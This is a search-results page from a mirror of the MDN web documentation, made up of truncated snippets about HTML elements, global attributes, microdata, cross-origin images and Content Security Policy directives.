attribute('data-unit')})`; } else { divelem.style.filter = `${selectelem.value}(${slider.value}${slider.get
attribute('data-unit')}`; } updateoutput(); updatecurvalue(); } function updateoutput() { output.textcontent = slider.value; } function updatecurva...
Mutation events - Developer guides
browser support these events are not implemented consistently across different browsers, for example: ie prior to version 9 didn't support the mutation events at all and does not implement some of them correctly in version 9 (for example, domnodeinserted) webkit doesn't support domattrmodified (see webkit bug 8191 and the workaround) "mutation name events", i.e. ...
...g 8191 and the workaround) "mutation name events", i.e. domelementnamechanged and dom
attributenamechanged are not supported in firefox (as of version 11), and probably in other browsers as well. ... dottoro documents browser support for mutation events. ...
... ...
Writing forward-compatible websites - Developer guides
ins how to write websites that do not break when new browser versions are released. this is especially important for intranets and other non-public websites; if we can't see your code, we can't see that it broke. it's not always possible to follow all of these, but following as many of them as possible will help future-proof your website. javascript prefix all global variable access in onfoo
attributes with “window.” when an event handler content
attribute (onclick, onmouseover, and so forth) is used on html element, all name lookup in the
attribute first happens on the element itself, then on the element's form if the element is a form control, then on the document, and then on the window (where the global variables you have defined are). for example, if you have this markup: <div oncli...
...ent, and then on the window (where the global variables you have defined are). for example, if you have this markup: <div onclick="alert(ownerdocument)">click me</div> then clicking on the text alerts the ownerdocument of the div. this happens even if there is a var ownerdocument declared in global scope. what this means is that any time you access a global variable in an event handler content
attribute, including calling any function declared globally, you can end up with a name collision if a specification adds a new dom property to elements or documents which has the same name as your function or variable, and a browser implements it. if that happens, then suddenly your function stops being called. this has happened multiple times to various sites already during the evolution of html5. to av...
...you can't assume that the syntax of the final version will be the same as the syntax of any of the prefixed versions. code hygiene avoid missing > passing a validator is one way to ensure this, but even if your website doesn't validate entirely you should make sure all your > characters are present. missing those can lead to unexpected situations due to a following tag name being treated as an
attribute on a previous tag. this can work for a bit, then break if a specification attaches a meaning to that
attribute. here's an example that works in browsers without html5 support but breaks in a browser supporting html5: <form action="http://www.example.com"> <input type="submit" value="submit the form" </form> due to the missing > on the input tag. don't leave experiments that didn't work in y...
Allowing cross-origin use of images and canvas - HTML: Hypertext Markup Language
security and tainted canvases because the pixels in a canvas's bitmap can come from a variety of sources, including images or videos retrieved from other hosts, it's inevitable that security problems may arise. as soon as you draw into a canvas any data that was loaded from another origin without cors approval, the canvas becomes tainted. ...
...svg", ".svgz", and ".webp") to be accessed cross-origin from anywhere on the internet. implementing the save feature now that the server has been configured to allow retrieval of the images cross-origin, we can write the code that allows the user to save them to local local storage, just as if they were being served from the same domain the code is running on. the key is to use the crossorigin
attribute by setting crossorigin on the htmlimageelement into which the image will be loaded. this tells the browser to request cross-origin access when trying to download the image data. starting the download the code that starts the download (say, when the user clicks a "download" button), looks like this: function startdownload() { let imageurl = "https://cdn.glitch.com/4c9ebeb9-8b9a-4adc-ad0a-238d...
...n = "anonymous"; downloadedimg.addeventlistener("load", imagereceived, false); downloadedimg.src = imageurl; } we're using a hard-coded url here (imageurl), but that could easily come from anywhere. to begin downloading the image, we create a new htmlimageelement object by using the image() constructor. the image is then configured to allow cross-origin downloading by setting its crossorigin
attribute to "anonymous" (that is, allow non-authenticated downloading of the image cross-origin). an event listener is added for the load event being fired on the image element, which means the image data has been received. finally, the image's src
attribute is set to the url of the image to download; this triggers the download to begin. receiving and saving the image the code that handles the newly-do...
<h1>–<h6>: The HTML Section Heading elements - HTML: Hypertext Markup Language
ing content. tag omission none, both the starting and ending tag are mandatory. permitted parents any element that accepts flow content; don't use a heading element as a child of the <hgroup> element — it is now deprecated. implicit aria role heading permitted aria roles tab, presentation or none dom interface htmlheadingelement
attributes these elements only include the global
attributes. the align
attribute is obsolete; don't use it. usage notes heading information may be used by user agents, for example, to construct a table of contents for a document automatically. avoid using heading tags to resize text. instead, use the css font-size property. headings use size to indicate their relative importance, but css is prefe...
...ding success criterion 2.4.6 | w3c understanding wcag 2.0 understanding success criterion 2.4.10 | w3c understanding wcag 2.0 labeling section content another common navigation technique for users of screen reading software is to generate a list of sectioning content and use it to determine the page's layout. sectioning content can be labeled using a combination of the aria-labelledby and id
attributes, with the label concisely describing the purpose of the section. this technique is useful for situations where there is more than one sectioning element on the same page. example <header> <nav aria-labelledby="primary-navigation"> <h2 id="primary-navigation">primary navigation</h2> <!-- navigation items --> </nav> </header> <!-- page content --> <footer> <nav aria-labelledby="f...
...ion</h2> <!-- navigation items --> </nav> </footer> in this example, screen reading technology would announce that there are two <nav> sections, one called "primary navigation" and one called "footer navigation". if labels were not provided, the person using screen reading software may have to investigate each nav element's contents to determine their purpose. using the aria-labelledby
attribute labeling regions • page structure • w3c wai web accessibility tutorials specifications specification status comment html living standardthe definition of '<h1>, <h2>, <h3>, <h4>, <h5>, and <h6>' in that specification. living standard html5the definition of '<h1>, <h2>, <h3>, <h4>, <h5>, and <h6>' in that specification. recommendation ...
<base>: The Document Base URL element - HTML: Hypertext Markup Language
content categories metadata content. permitted content none, it is an empty element. tag omission there must be no closing tag. permitted parents a <head> that doesn't contain another <base> element. implicit aria role no corresponding role permitted aria roles no role permitted dom interface htmlbaseelement
attributes this element's
attributes include the global
attributes. if either of the following
attributes are specified, this element must come before other elements with
attribute values of urls, such as <link>’s href
attribute. href the base url to be used throughout the document for relative urls. absolute and relative urls are allowed. target a keyword or author-defined name of the default ...
... the following keywords have special meanings: _self (default): show the result in the current browsing context. _blank: show the result in a new, unnamed browsing context. _parent: show the result in the parent browsing context of the current one, if the current page is inside a frame. if there is no parent, acts the same as _self. ...
...tion status comment html living standardthe definition of '<base>' in that specification. living standard no change since last snapshot. html5the definition of '<base>' in that specification. recommendation specified the behavior of target html 4.01 specificationthe definition of '<base>' in that specification. recommendation added the target
attribute ...
<basefont> - HTML: Hypertext Markup Language
sets a default font face, size, and color for the other elements which are descended from its parent element. with this set, the font's size can then be varied relative to the base size using the <font> element. you should not use this element; instead, you should use css properties such as font, font-family, font-size, and color to change the font configuration for an element and its contents.
attributes like all other html elements, this element supports the global
attributes. color this
attribute sets the text color using either a named color or a color specified in the hexadecimal #rrggbb format. face this
attribute contains a list of one or more font names. the document text in the default style is rendered in the first font face that the client's browser supports. if no font listed i...
...numeric values range from 1 to 7 with 1 being the smallest and 3 the default. usage notes do not use this element! though once (imprecisely) normalized in html 3.2, it wasn't supported in all major browsers. ...
... browsers. further, browsers, and even successive versions of browsers, never implemented it in the same way: practically, using it has always brought indeterminate results. the <basefont> element was deprecated in the standard at the same time as all elements related to styling only. starting with html 4, html does not convey styling information anymore (outside the <style> element or the style
attribute of each element). in html5, this element has been removed completely. for any new web development, styling should be written using css only. the former behavior of the <font> element can be achieved, and even better controlled using the css fonts properties. dom interface this element implements the htmlbasefontelement interface. example <basefont color="#ff0000" face="helvetica" size="+2" /...
<details>: The Details disclosure element - HTML: Hypertext Markup Language
ok like the following: here we see a standard disclosure widget with the label "system requirements", in its default closed state. when the user clicks on the widget or focuses it then presses the space bar, it "twists" open, revealing its contents: from there, you can use css to style the disclosure widget, and you can programmatically open and close the widget by setting/removing its open
attribute. by default when closed, the widget is only tall enough to display the disclosure triangle and summary. when open, it expands to display the details contained within. note: unfortunately, at this time there's no built-in way to animate the transition between open and closed. fully standards-compliant implementations automatically apply the css display: list-item to the <summary> element. you...
...active content, palpable content. permitted content one <summary> element followed by flow content. tag omission none, both the starting and ending tag are mandatory. permitted parents any element that accepts flow content. implicit aria role group permitted aria roles no role permitted dom interface htmldetailselement
attributes this element includes the global
attributes. open this boolean
attribute indicates whether or not the details — that is, the contents of the <details> element — are currently visible. the default, false, means the details are not visible. events in addition to the usual events supported by html elements, the <details> element supports the toggle event, which is dispatched to the <det...
...ummary>system requirements</summary> <p>requires a computer running an operating system. the computer must have some memory and ideally some kind of long-term storage. an input device as well as some form of output device is recommended.</p> </details> the result from this html is this: creating an open disclosure box to start the <details> box in its open state, add the boolean open
attribute: <details open> <summary>system requirements</summary> <p>requires a computer running an operating system. the computer must have some memory and ideally some kind of long-term storage. an input device as well as some form of output device is recommended.</p> </details> this results in: customizing the appearance now let's apply some css to customize the appearance of the disclosu...
<div>: The Content Division element - HTML: Hypertext Markup Language
css. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. as a "pure" container, the <div> element does not inherently represent anything. instead, it's used to group content so it can be easily styled using the class or id
attributes, marking a section of a document as being written in a different language (using the lang
attribute), and so on. content categories flow content, palpable content. permitted content flow content. or (in whatwg html): if the parent is a <dl> element: one or more <dt> elements followed by one or more <dd> elements, optionally intermixed with <script> and <template> ele...
...dd> elements, optionally intermixed with <script> and <template> elements. tag omission none, both the starting and ending tag are mandatory. permitted parents any element that accepts flow content. or (in whatwg html): <dl> element. implicit aria role no corresponding role permitted aria roles any dom interface htmldivelement
attributes this element includes the global
attributes. note: the align
attribute is obsolete; do not use it anymore. instead, you should use css properties or techniques such as css grid or css flexbox to align and position <div> elements on the page. usage notes the <div> element should be used only when no other semantic element (such as <article> or <nav>) is appropriate. examples a simple e...
... the <div> element should be used only when no other semantic element (such as <article> or <nav>) is appropriate. examples a simple example <div> <p>any kind of content here. such as <p>, <table>. you name it!</p> </div> the result looks like this: a styled example this example creates a shadowed box by applying a style to the <div> using css. note the use of the class
attribute on the <div> to apply the style named "shadowbox" to the element. html <div class="shadowbox"> <p>here's a very interesting note displayed in a lovely shadowed box.</p> </div> css .shadowbox { width: 15em; border: 1px solid #333; box-shadow: 8px 8px 5px #444; padding: 8px 12px; background-image: linear-gradient(180deg, #fff, #ddd 40%, #ccc); } result specifications ...
<font> - HTML: Hypertext Markup Language
ry the html font element (<font>) defines the font size, color and face for its content. usage note: do not use this element! though once normalized in html 3.2, it was deprecated in html 4.01, at the same time as all elements related to styling only, then made obsolete in html5. ...
...lements related to styling only, then made obsolete in html5. starting with html 4, html does not convey styling information anymore (outside the <style> element or the style
attribute of each element). for any new web development, styling should be written using css only. the former behavior of the <font> element can be achieved, and even better controlled using the css fonts css properties.
attributes like all other html elements, this element supports the global
attributes. color this
attribute sets the text color using either a named color or a color specified in the hexadecimal #rrggbb format. face this
attribute contains a comma-separated list of one or more font names. the document text in the default style is rendered in the first font face that the client's browser supports. if ...
... or a color specified in the hexadecimal #rrggbb format. face this
attribute contains a comma-separated list of one or more font names. the document text in the default style is rendered in the first font face that the client's browser supports. if no font listed is installed on the local system, the browser typically defaults to the proportional or fixed-width font for that system. size this
attribute specifies the font size as either a numeric or relative value. numeric values range from 1 to 7 with 1 being the smallest and 3 the default. it can be defined using a relative value, like +2 or -3, which set it relative to the value of the size
attribute of the <basefont> element, or relative to 3, the default value, if none does exist. dom interface this element implements the htmlfontelement...
<frame> - HTML: Hypertext Markup Language
<frame> is an html element which defines a particular area in which another html document can be displayed. a frame should be used within a <frameset>. using the <frame> element is not encouraged because of certain disadvantages such as performance problems and lack of accessibility for users with screen readers. instead of the <frame> element, <iframe> may be preferred.
attributes like all other html elements, this element supports the global
attributes. src this
attribute specifies the document that will be displayed by the frame. name this
attribute is used for labeling frames. without labeling, every link will open in the frame that it’s in – the closest parent frame. see the target
attribute for more information. noresize this
attribute prevents resizing of frames by users. ...
... element supports the global
attributes. src this
attribute specifies the document that will be displayed by the frame. name this
attribute is used for labeling frames. without labeling, every link will open in the frame that it’s in – the closest parent frame. see the target
attribute for more information. noresize this
attribute prevents resizing of frames by users. scrolling this
attribute defines the existence of a scrollbar. if this
attribute is not used, the browser adds a scrollbar when necessary. there are two choices: "yes" for forcing a scrollbar even when it is not necessary and "no" for forcing no scrollbar even when it is necessary. marginheight this
attribute defines the height of the margin between frames. ...
...frames by users. scrolling this
attribute defines the existence of a scrollbar. if this
attribute is not used, the browser adds a scrollbar when necessary. there are two choices: "yes" for forcing a scrollbar even when it is not necessary and "no" for forcing no scrollbar even when it is necessary. marginheight this
attribute defines the height of the margin between frames. marginwidth this
attribute defines the width of the margin between frames. frameborder this
attribute allows you to specify a frame’s border. example <frameset cols="50%,50%"> <frame src="https://udn.realityripple.com/docs/web/html/element/iframe" /> <frame src="https://udn.realityripple.com/docs/web/html/element/frame" /> </frameset> ...
<input type="color"> - HTML: Hypertext Markup Language
ker window. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. value a 7-character domstring specifying a <color> in lower-case hexadecimal notation events change and input supported common
attributes autocomplete and list idl
attributes list and value methods select() value the value of an <input> element of type color is always a domstring which contains a 7-character string specifying an rgb color in hexadecimal format. while you can input the color in either upper- or lower-case, it will be stored in lower-case form. the value is never in any other form,...
... alpha channel are not supported; specifying a color in 9-character hexadecimal notation (e.g. #009900aa) will also result in the color being set to #000000. note: any web browser that doesn't support an input of type color will naturally fall back to the type text. because users can write colors in many different ways (such as rgb(255, 255, 0)), one way to work around this is to set a pattern
attribute equal to either #[0-9a-f]{6} or #[0-9a-fa-f]{6} (preferably the latter because some users may not expect a different result with just a letter-case change) and set a placeholder
attribute equal to a color representing the expected format of the user's input, such as #ff0000. using color inputs inputs of type color are simple, due to the limited number of
attributes they support. providing a d...
...ging again (unless the user re-opens the color picker), a change event is sent to the element. we handle that event using the updateall() function, using event.target.value to obtain the final selected color: function updateall(event) { document.queryselectorall("p").foreach(function(p) { p.style.color = event.target.value; }); } this sets the color of every <p> block so that its color
attribute matches the current value of the color input, which is referred to using event.target. result the final result looks like this: specifications specification status comment html living standard living standard initial definition html5 recommendation initial definition ...
<main> - HTML: Hypertext Markup Language
ds upon the central topic of a document, or the central functionality of an application. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. a document mustn't have more than one <main> element that doesn't have the hidden
attribute specified. content categories flow content, palpable content. permitted content flow content. tag omission none; both the starting and ending tags are mandatory. permitted parents where flow content is expected, but only if it is a hierarchically correct main element. implicit aria role main permitted aria roles no role perm...
...ntent, palpable content. permitted content flow content. tag omission none; both the starting and ending tags are mandatory. permitted parents where flow content is expected, but only if it is a hierarchically correct main element. implicit aria role main permitted aria roles no role permitted dom interface htmlelement
attributes this element only includes the global
attributes. usage notes the content of a <main> element should be unique to the document. content that is repeated across a set of documents or document sections such as sidebars, navigation links, copyright information, site logos, and search forms shouldn't be included unless the search form is the main function of the page. <main> doesn't contribute t...
...ent. prefer using the <main> element over declaring role="main", unless there are legacy browser support concerns. skip navigation skip navigation, also known as "skipnav", is a technique that allows an assistive technology user to quickly bypass large sections of repeated content (main navigation, info banners, etc.). this lets the user access the main content of the page faster. adding an id
attribute to the <main> element lets it be a target of a skip navigation link. <body> <a href="#main-content">skip to main content</a> <!-- navigation and header content --> <main id="main-content"> <!-- main page content --> </main> </body> webaim: "skip navigation" links reader mode browser reader mode functionality looks for the presence of the <main> element, as well as heading an...
<map> - HTML: Hypertext Markup Language
ent, phrasing content, palpable content. permitted content any transparent element. tag omission none, both the starting and ending tag are mandatory. permitted parents any element that accepts phrasing content. ...
... permitted content any transparent element. tag omission none, both the starting and ending tag are mandatory. permitted parents any element that accepts phrasing content. implicit aria role no corresponding role permitted aria roles no role permitted dom interface htmlmapelement
attributes this element includes the global
attributes. ...
...transparent element. tag omission none, both the starting and ending tag are mandatory. permitted parents any element that accepts phrasing content. implicit aria role no corresponding role permitted aria roles no role permitted dom interface htmlmapelement
attributes this element includes the global
attributes. name the name
attribute gives the map a name so that it can be referenced. the
attribute must be present and must have a non-empty value with no space characters. the value of the name
attribute must not be a compatibility-caseless match for the value of the name
attribute of another <map> element in the same document. if the id
attribute is also specified, both
attributes must have the same value. examples <map name...
Standard metadata names - HTML: Hypertext Markup Language
standard metadata names defined in the html specification the html specification defines the following set of standard metadata names: application-name: the name of the application running in the web page. note: browsers may use this to identify the application. it is different from the <title> element, which usually contain the application name, but may also contain information like the document name or a status. simple web pages shouldn't define an application-name. ...
...t and accurate summary of the content of the page. several browsers, like firefox and opera, use this as the default description of bookmarked pages. generator: the identifier of the software that generated the page. keywords: words relevant to the page's content separated by commas. referrer: controls the http referer header for to requests sent from the document: values for the content
attribute of <meta name="referrer"> no-referrer do not send a http referer header. origin send the origin of the document. no-referrer-when-downgrade send the full url when the destination is at least as secure as the current page (http(s)→https), but send no referrer when it's less secure (https→http). this is the default behaviour. ...
... notes: dynamically inserting <meta name="referrer"> (with document.write() or appendchild()) makes the referrer behaviour unpredictable. when several conflicting policies are defined, the no-referrer policy is applied. theme-color: indicates a suggested color that user agents should use to customize the display of the page or of the surrounding user interface. the content
attribute contains a valid css <color>. standard metadata names defined in other specifications the css color adjustment specification defines the following metadata name: color-scheme: specifies one or more color schemes with which the document is compatible. the browser will use this information in tandem with the user's browser or device settings to determine what colors to use for everythin...
<output>: The Output element - HTML: Hypertext Markup Language
listed, labelable, resettable form-associated element, palpable content. permitted content phrasing content. tag omission none, both the starting and ending tag are mandatory. permitted parents any element that accepts phrasing content. ...
...d element, palpable content. permitted content phrasing content. tag omission none, both the starting and ending tag are mandatory. permitted parents any element that accepts phrasing content. implicit aria role status permitted aria roles any dom interface htmloutputelement
attributes this element includes the global
attributes. ...
...status permitted aria roles any dom interface htmloutputelement
attributes this element includes the global
attributes. for a space-separated list of other elements’ ids, indicating that those elements contributed input values to (or otherwise affected) the calculation. form the <form> element to associate the output with (its form owner). the value of this
attribute must be the id of a <form> in the same document. (if this
attribute is not set, the <output> is associated with its ancestor <form> element, if any.) this
attribute lets you associate <output> elements to <form>s anywhere in the document, not just inside a <form>. it can also override an ancestor <form> element. name the element's name. used in the form.elements api. the <output> value, name...
<progress>: The Progress Indicator element - HTML: Hypertext Markup Language
ermitted content phrasing content, but there must be no <progress> element among its descendants. tag omission none, both the starting and ending tag are mandatory. permitted parents any element that accepts phrasing content. implicit aria role progressbar permitted aria roles no role permitted dom interface htmlprogresselement
attributes this element includes the global
attributes. max this
attribute describes how much work the task indicated by the progress element requires. the max
attribute, if present, must have a value greater than 0 and be a valid floating point number. the default value is 1. value this
attribute specifies how much of the task that has been completed. it must be a valid floating point number betwee...
...escribes how much work the task indicated by the progress element requires. the max
attribute, if present, must have a value greater than 0 and be a valid floating point number. the default value is 1. value this
attribute specifies how much of the task that has been completed. it must be a valid floating point number between 0 and max, or between 0 and 1 if max is omitted. if there is no value
attribute, the progress bar is indeterminate; this indicates that an activity is ongoing with no indication of how long it is expected to take. note: unlike the <meter> element, the minimum value is always 0, and the min
attribute is not allowed for the <progress> element. note: the :indeterminate pseudo-class can be used to match against indeterminate progress bars. to change the progress bar to ind...
...ctivity is ongoing with no indication of how long it is expected to take. note: unlike the <meter> element, the minimum value is always 0, and the min
attribute is not allowed for the <progress> element. note: the :indeterminate pseudo-class can be used to match against indeterminate progress bars. to change the progress bar to indeterminate after giving it a value you must remove the value
attribute with element.remove
attribute('value'). examples <progress value="70" max="100">70 %</progress> result on windows 7, the resulting progress looks like this: specifications specification status comment html living standardthe definition of '<progress>' in that specification. living standard html5the definition of '<progress>' in that specifica...
<slot> - HTML: Hypertext Markup Language
ntent, phrasing content permitted content transparent events slotchange tag omission none, both the starting and ending tag are mandatory. permitted parents any element that accepts phrasing content implicit aria role no corresponding role permitted aria roles no role permitted dom interface htmlslotelement
attributes this element includes the global
attributes. name the slot's name. a named slot is a <slot> element with a name
attribute. examples <template id="element-details-template"> <style> details {font-family: "open sans light", helvetica, arial, sans-serif } .name {font-weight: bold; color: #217ac0; font-size: 120% } h4 { margin: 10px 0 -8px 0; background: #217ac0; ...
...a name
attribute. ...
...tails-template"> <style> details {font-family: "open sans light", helvetica, arial, sans-serif } .name {font-weight: bold; color: #217ac0; font-size: 120% } h4 { margin: 10px 0 -8px 0; background: #217ac0; color: white; padding: 2px 6px; border: 1px solid #cee9f9; border-radius: 4px; } .
attributes { margin-left: 22px; font-size: 90% } .
attributes p { margin-left: 16px; font-style: italic } </style> <details> <summary> <code class="name"><<slot name="element-name">need name</slot>></code> <i class="desc"><slot name="description">need description</slot></i> </summary> <div class="
attributes"> <h4>
attributes</h4> <slot name="
attributes"><p>none</p></slot> </div> </details> <hr> </templat...
<time> - HTML: Hypertext Markup Language
it may represent one of the following: a time on a 24-hour clock. a precise date in the gregorian calendar (with optional time and timezone information). a valid time duration. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. ...
...egories flow content, phrasing content, palpable content. permitted content phrasing content. tag omission none, both the starting and ending tag are mandatory. permitted parents any element that accepts phrasing content. implicit aria role no corresponding role permitted aria roles any dom interface htmltimeelement
attributes like all other html elements, this element supports the global
attributes. datetime this
attribute indicates the time and/or date of the element and must be in one of the formats described below. usage notes this element is for presenting dates and times in a machine readable format. for example, this can help a user agent offer to add an event to a user's calendar. this element should ...
...is for presenting dates and times in a machine readable format. for example, this can help a user agent offer to add an event to a user's calendar. this element should not be used for dates prior to the introduction of the gregorian calendar (due to complications in calculating those dates). the datetime value (the machine-readable value of the datetime) is the value of the element’s datetime
attribute, which must be in the proper format (see below). if the element does not have a datetime
attribute, it must not have any element descendants, and the datetime value is the element’s child text content. valid datetime values a valid year string 2011 a valid month string 2011-11 a valid date string 2011-11-18 a valid yearless date string 11-18 a valid week string 2011-w47 a valid ti...
class - HTML: Hypertext Markup Language
the class global
attribute is a space-separated list of the case-sensitive classes of the element. classes allow css and javascript to select and access specific elements via the class selectors or functions like the dom method document.getelementsbyclassname. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. though the specification doesn't put requirements on the name of classes, web developers are encouraged to use names that describe the semantic purpose of the element, rather than the presentation of the element. ...
... a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. though the specification doesn't put requirements on the name of classes, web developers are encouraged to use names that describe the semantic purpose of the element, rather than the presentation of the element. for example,
attribute to describe an
attribute rather than italics, although an element of this class may be presented by italics. semantic names remain logical even if the presentation of the page changes. specifications specification status comment html living standardthe definition of 'class' in that specification. living standard no change from latest snapshot, html 5.1 htm...
...that specification. living standard no change from latest snapshot, html 5.1 html 5.1the definition of 'class' in that specification. recommendation snapshot of html living standard, no change from html5 html5the definition of 'class' in that specification. recommendation snapshot of html living standard. from html 4.01 specification, class is now a true global
attribute. html 4.01 specificationthe definition of 'class' in that specification. recommendation supported on all elements but <base>, <basefont>, <head>, <html>, <meta>, <param>, <script>, <style>, and <title>. ...
draggable - HTML: Hypertext Markup Language
for other elements, the event ondragstart must be set for drag and drop to work, as shown in this comprehensive example. ...
...for other elements, the event ondragstart must be set for drag and drop to work, as shown in this comprehensive example. ...
...ement can be dragged, either with native browser behavior or the html drag and drop api. draggable can have the following values: true: the element can be dragged. false: the element cannot be dragged. this
attribute is enumerated and not boolean. a value of true or false is mandatory, and shorthand like <img draggable> is forbidden. the correct usage is <img draggable="false">. if this
attribute is not set, its default value is auto, which means drag behavior is the default browser behavior: only text selections, images, and links can be dragged. for other elements, the event ondragstart must be set for drag and drop to work, as shown in this comprehensive example. specifications specification status comment html living standardthe definition of 'draggable' ...
itemref - HTML: Hypertext Markup Language
it is merely a syntactic construct to aid authors in adding annotations to pages where the data to be annotated does not follow a convenient tree structure. for example, it allows authors to mark up data in a table so that each column defines a separate item while keeping the properties in the cells. ...
...it is merely a syntactic construct to aid authors in adding annotations to pages where the data to be annotated does not follow a convenient tree structure. for example, it allows authors to mark up data in a table so that each column defines a separate item while keeping the properties in the cells. ...
...it is merely a syntactic construct to aid authors in adding annotations to pages where the data to be annotated does not follow a convenient tree structure. for example, it allows authors to mark up data in a table so that each column defines a separate item while keeping the properties in the cells. ...
spellcheck - HTML: Hypertext Markup Language
the spellcheck global
attribute is an enumerated
attribute defines whether the element may be checked for spelling errors. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. it may have the following values: true, which indicates that the element should be, if possible, checked for spelling errors; false, which indicates that the element should not be checked for spelling errors. note: the spellcheck
attribute is an enumerated one and not a boolean one. this means that the explicit usage of one of the values true or false is mandatory, and that a shorthand like <textarea spellcheck></textarea> is not allowed. the co...
...rrors; false, which indicates that the element should not be checked for spelling errors. note: the spellcheck
attribute is an enumerated one and not a boolean one. this means that the explicit usage of one of the values true or false is mandatory, and that a shorthand like <textarea spellcheck></textarea> is not allowed. the correct usage is <textarea spellcheck="true"></textarea>. if this
attribute is not set, its default value is element-type and browser-defined. this default value may also be inherited, which means that the element content will be checked for spelling errors only if its nearest ancestor has a spellcheck state of true. this
attribute is merely a hint for the browser: browsers are not required to check for spelling errors. typically non-editable elements are not checked fo...
...type and browser-defined. this default value may also be inherited, which means that the element content will be checked for spelling errors only if its nearest ancestor has a spellcheck state of true. this
attribute is merely a hint for the browser: browsers are not required to check for spelling errors. typically non-editable elements are not checked for spelling errors, even if the spellcheck
attribute is set to true and the browser supports spellchecking. specifications specification status comment html living standardthe definition of 'spellcheck' in that specification. living standard no change from latest snapshot, html 5.1 html 5.1the definition of 'spellcheck' in that specification. recommendation snapshot of html living standard, initial...
Microdata - HTML: Hypertext Markup Language
odata is an attempt to provide a simpler way of annotating html elements with machine-readable tags than the similar approaches of using rdfa and classic microformats. at a high level, microdata consists of a group of name-value pairs. the groups are called items, and each name-value pair is a property. items and properties are represented by regular elements. to create an item, the itemscope
attribute is used. to add a property to an item, the itemprop
attribute is used on one of the item's descendants. vocabularies google and other major search engines support the schema.org vocabulary for structured data. this vocabulary defines a standard set of type names and property names, for example, schema.org music event indicates a concert performance, with startdate and location properties to s...
...is vocabulary defines a standard set of type names and property names, for example, schema.org music event indicates a concert performance, with startdate and location properties to specify the concert's key details. in this case, schema.org music event would be the url used by itemtype and startdate and location would be itemprop's that schema.org music event defines. note: more about itemtype
attributes can be found at http://schema.org/thing microdata vocabularies provide the semantics or meaning of an item. web developers can design a custom vocabulary or use vocabularies available on the web, such as the widely used schema.org vocabulary. a collection of commonly used markup vocabularies are provided by schema.org. commonly used vocabularies: creative works: creativework, book, movie, ...
... hproduct (product data) and provides its own format for the definition of the terms and encyclopedic articles. this extension was made to solve transliteration problems between the cyrillic and latin alphabets. due to the implementation of additional marking parameters of schema's vocabulary, the indexation of information in russian-language web-pages became considerably more successful. global
attributes itemid – the unique, global identifier of an item. itemprop – used to add properties to an item. every html element may have an itemprop
attribute specified, where an itemprop consists of a name and value pair. itemref – properties that are not descendants of an element with the itemscope
attribute can be associated with the item using an itemref. itemref provides a list of element ids ...
Content Security Policy (CSP) - HTTP
makes it possible for server administrators to reduce or eliminate the vectors by which xss can occur by specifying the domains that the browser should consider to be valid sources of executable scripts. a csp compatible browser will then only execute scripts loaded in source files received from those allowlisted domains, ignoring all other script (including inline scripts and event-handling html
attributes). as an ultimate form of protection, sites that want to never allow scripts to be executed can opt to globally disallow script execution. mitigating packet sniffing attacks in addition to restricting the domains from which content can be loaded, the server can specify which protocols are allowed to be used; for example (and ideally, from a security standpoint), a server can specify that all c...
... addition to restricting the domains from which content can be loaded, the server can specify which protocols are allowed to be used; for example (and ideally, from a security standpoint), a server can specify that all content must be loaded using https. a complete data transmission security strategy includes not only enforcing https for data transfer, but also marking all cookies with the secure
attribute and providing automatic redirects from http pages to their https counterparts. sites may also use the strict-transport-security http header to ensure that browsers connect to them only over an encrypted channel. using csp configuring content security policy involves adding the content-security-policy http header to a web page and giving it values to control what resources the user agent is allo...
...hen they don't have policies of their own (for a complete list, see the description of the default-src directive). a policy needs to include a default-src or script-src directive to prevent inline scripts from running, as well as blocking the use of eval(). a policy needs to include a default-src or style-src directive to restrict inline styles from being applied from a <style> element or a style
attribute. there are specific directives for a wide variety of types of items, so that each type can have its own policy, including fonts, frames, images, audio and video media, scripts, and workers. examples: common use cases this section provides examples of some common security policy scenarios. example 1 a web site administrator wants all content to come from the site's own origin (this excludes su...
CSP: style-src - HTTP
source. filesystem: allows filesystem: uris to be used as a content source. 'self' refers to the origin from which the protected document is being served, including the same url scheme and port number. you must include the single quotes. some browsers specifically exclude blob and filesystem from source directives. sites needing to allow these content types can specify them using the data
attribute. 'unsafe-eval' allows the use of eval() and similar methods for creating code from strings. you must include the single quotes. 'unsafe-hashes' allows enabling specific inline event handlers. if you only need to allow inline event handlers and not inline <script> elements or javascript: urls, this is a safer method than using the unsafe-inline expression. 'unsafe-inline' allows the use of i...
...stylesheets are blocked and won't load: <link href="https://not-example.com/styles/main.css" rel="stylesheet" type="text/css" /> <style> #inline-style { background: red; } </style> <style> @import url("https://not-example.com/styles/print.css") print; </style> as well as styles loaded using the link header: link: <https://not-example.com/styles/stylesheet.css>;rel=stylesheet inline style
attributes are also blocked: <div style="display:none">foo</div> as well as styles that are applied in javascript by setting the style
attribute directly, or by setting csstext: document.queryselector('div').set
attribute('style', 'display:none;'); document.queryselector('div').style.csstext = 'display:none;'; however, styles properties that are set directly on the element's style property will not be b...
...st security wins csp provides. however, if you absolutely have to use it, there are a few mechanisms that will allow them. to allow inline styles, 'unsafe-inline', a nonce-source or a hash-source that matches the inline block can be specified. ...
Feature-Policy: fullscreen - HTTP
document is allowed to use element.requestfullscreen(). when this policy is enabled, the returned promise rejects with a typeerror. by default, top-level documents and their same-origin child frames can request and enter fullscreen mode. this directive allows or prevents cross-origin frames from using fullscreen mode. this includes same-origin frames. if both this directive (i.e. via the allow
attribute) and the allowfullscreen
attribute are present on an <iframe> element, this directive takes precedence. there was a bug whereby the fullscreen directive didn't work unless the allowfullscreen
attribute was also present, but this has been fixed as of firefox 80 (bug 1608358). syntax feature-policy: fullscreen <allowlist>; <allowlist> an allowlist is a list of origins that takes one or more ...
...owlist>; <allowlist> an allowlist is a list of origins that takes one or more of the following values, separated by spaces: *: the feature will be allowed in this document, and all nested browsing contexts (iframes) regardless of their origin. 'self': the feature will be allowed in this document, and in all nested browsing contexts (iframes) in the same origin. 'src': (in an iframe allow
